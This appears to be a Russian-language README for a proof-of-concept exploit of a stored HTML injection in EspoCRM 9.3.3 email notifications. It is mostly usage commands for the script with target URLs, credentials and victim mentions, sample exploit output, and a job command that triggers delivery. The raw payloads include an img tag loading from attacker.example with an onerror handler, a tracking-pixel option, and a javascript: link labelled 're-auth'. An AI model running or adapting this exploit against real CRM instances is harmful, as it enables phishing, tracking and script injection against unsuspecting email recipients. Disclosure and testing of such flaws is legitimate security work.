
EspoCRM 9.3.3 — Хранимая HTML-инъекция в email-уведомлениях
Аутентифицированный proof-of-concept для хранимой HTML-инъекции в email-уведомлениях EspoCRM 9.3.3.
EspoCRM 9.3.3 формирует email-уведомления о записях в ленте, преобразуя тело заметки с помощью Markdown и вставляя полученный HTML в шаблоны писем с помощью тройных фигурных скобок ({{{post}}}). Аутентифицированный пользователь, который может создать запись в ленте и инициировать уведомление, может сохранить управляемый атакующим HTML, который впоследствии будет отображаться в теле сформированного письма.
Эксплойт выполняет управляемую атакующим удалённую часть процесса:
/api/v1/App/user.Note, содержащую HTML.--mention или --target-user-id для постановки цели уведомления в очередь.Доставка письма происходит, когда обычное задание SendEmailNotifications или cron в EspoCRM обрабатывает поставленное в очередь уведомление.
requestsNote в ленте--mention <username> для email-уведомлений об упоминаниях, или--target-user-id <id> для целевых уведомлений о записях в лентеУстановка зависимости:
python3 -m pip install requests
Предпочтительный путь через упоминание:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
Использование собственного URL отслеживания:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
Использование полностью настраиваемой HTML-полезной нагрузки:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
Нацеливание на конкретный идентификатор пользователя вместо упоминания:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
Только определение версии, без создания заметки:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url Базовый URL EspoCRM
-U, --username Имя пользователя EspoCRM
-P, --password Пароль EspoCRM
--mention Имя пользователя для упоминания, без @
--target-user-id Идентификатор пользователя для целевых уведомлений о записях в ленте
--target-user-name Отображаемое имя для --target-user-id
--payload Сырая HTML-полезная нагрузка для сохранения в заметке
--tracking-url URL пикселя отслеживания, используемый полезной нагрузкой по умолчанию
--link-url URL ссылки, используемый полезной нагрузкой по умолчанию
--marker Текст маркера, добавляемый перед полезной нагрузкой
--detect-only Только определить версию; не создавать заметку
--skip-version-check Пропустить /api/v1/App/user перед эксплуатацией
--force Продолжить, даже если определённая версия не 9.3.3
--insecure Отключить проверку сертификата TLS
Успешный запуск создаёт вредоносную заметку и подтверждает цель уведомления:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
На уязвимом экземпляре сформированное HTML-тело письма сохраняет внедрённый HTML. Пример захвата в лабораторной среде выглядит так:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
В локальной лабораторной среде EspoCRM после запуска эксплойта запустите задание уведомления:
sudo -u www-data php command.php run-job SendEmailNotifications
Тело полученного письма должно содержать внедрённый HTML в части text/html.
@@version, целевая система, вероятно, является сборкой из исходного дерева. Скрипт продолжает работу, поскольку базовый код всё ещё может соответствовать уязвимому тегу 9.3.3.--mention не приводит к разбору упоминания, проверьте messagePermission и mentionPermission атакующего, а также убедитесь, что целевое имя пользователя существует и может получать уведомления.